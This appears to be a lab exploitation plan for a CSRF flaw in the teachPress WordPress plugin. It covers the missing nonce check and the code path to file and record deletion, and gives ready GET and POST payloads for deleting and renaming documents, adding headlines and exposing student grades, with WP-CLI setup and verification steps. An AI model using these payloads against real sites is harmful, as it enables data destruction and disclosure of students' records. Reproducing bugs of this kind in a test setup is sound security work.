Exploitation Research Plan: CVE-2026-22483 (teachPress CSRF)

1. Vulnerability Summary

The teachPress plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 9.0.12. The vulnerability exists in the tp_ajax_callback() function located in core/ajax-callback.php. This function handles multiple sensitive operations—including deleting documents, adding headlines, and renaming documents—without performing any nonce validation (CSRF protection). An attacker can trick a logged-in user with the use_teachpress capability (typically an Administrator or Teacher) into performing unauthorized actions by simply having them visit a malicious link or page.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: tp_ajax (associated with the tp_ajax_callback() function)
• Vulnerable Parameters:
  • del_document (GET): Triggering TP_Ajax::delete_document to delete files and records.
  • change_document and new_document_name (POST): Triggering TP_Ajax::change_document_name to rename entries.
• Authentication Requirement: Authenticated user with the use_teachpress capability.
• Preconditions: The attacker must know (or guess) the ID of a document entry to delete or modify.

3. Code Flow

1. Entry Point: A request is made to admin-ajax.php with action=tp_ajax.
2. Hook: WordPress routes the request to tp_ajax_callback() in core/ajax-callback.php.
3. Authorization Check: The function checks is_user_logged_in() && current_user_can('use_teachpress') (Line 18).
4. Logic Branch (Deletion):
   • If $_GET['del_document'] is set, it calls TP_Ajax::delete_document($del_document) (Lines 55-58).
5. Sink: TP_Ajax::delete_document() in core/class-ajax.php performs the following:
   • Fetches the document path via TP_Documents::get_document().
   • Filesystem Sink: Calls @unlink( $uploads['basedir'] . $data['path'] ) to delete the physical file (Line 59).
   • Database Sink: Calls TP_Documents::delete_document($doc_id) to delete the database record (Line 66).
6. Missing Security: At no point in this flow is check_ajax_referer() or wp_verify_nonce() called, allowing cross-origin requests to trigger these actions.

4. Nonce Acquisition Strategy

No nonce acquisition is required for this exploit.
The vulnerability is precisely the omission of nonce validation in the tp_ajax_callback() function. The function only verifies the user's session and capabilities, which are automatically provided by the browser in a CSRF scenario.

5. Exploitation Strategy

The goal is to demonstrate unauthorized deletion of a document via a CSRF request.

Step-by-Step Plan:

1. Setup: Authenticate as an Administrator.
2. Identification: Create a dummy document in a course and identify its doc_id.
3. Exploit Execution (Deletion via GET):
   • Send a GET request to the AJAX endpoint while the session is active.
   • In a real attack, this would be an <img> tag or a background fetch on a malicious site.
4. Exploit Execution (Rename via POST):
   • Send a POST request to rename a document, demonstrating state manipulation.

Payloads:

Action: Delete Document

• Method: GET
• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php?action=tp_ajax&del_document=[DOC_ID]
• Response Expected: true

Action: Rename Document

• Method: POST
• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Body (URL-encoded): action=tp_ajax&change_document=[DOC_ID]&new_document_name=REALLY_HACKED
• Response Expected: REALLY_HACKED

6. Test Data Setup

1. Enable Plugin: Ensure teachpress is active.
2. Create Course:

   # Use WP-CLI to ensure at least one course exists (Table: wp_teachpress_courses)
   wp db query "INSERT INTO wp_teachpress_courses (name, shortname) VALUES ('Security Course', 'SEC101');"
   

3. Create Document:

   # Create a dummy file in the uploads directory
   echo "secret data" > /var/www/html/wp-content/uploads/secret.txt
   
   # Insert record into database (Table: wp_teachpress_documents)
   # course_id should match the ID of the course created above (usually 1)
   wp db query "INSERT INTO wp_teachpress_documents (name, path, course_id) VALUES ('Sensitive Doc', '/secret.txt', 1);"
   

4. Capture ID: Note the doc_id from the newly inserted record.

7. Expected Results

• The AJAX response for the deletion payload should be the string true.
• The document record should be missing from the wp_teachpress_documents table.
• The file /var/www/html/wp-content/uploads/secret.txt should be deleted from the filesystem.

8. Verification Steps

1. Database Check:

   wp db query "SELECT * FROM wp_teachpress_documents WHERE name='Sensitive Doc';"
   

   Expected: Empty result.
2. Filesystem Check:

   ls /var/www/html/wp-content/uploads/secret.txt
   

   Expected: "No such file or directory".

9. Alternative Approaches

• Document Headline Creation:
  Trigger add_document_headline via GET to clutter the database with arbitrary entries:
  GET /wp-admin/admin-ajax.php?action=tp_ajax&add_document=HACKED_HEADLINE&course_id=1
• Information Disclosure:
  Trigger get_assessment_screen to view assessment details for an ID:
  GET /wp-admin/admin-ajax.php?action=tp_ajax&assessment_id=1
  This returns HTML containing student names and grades, bypassing UI access controls if the victim is an admin.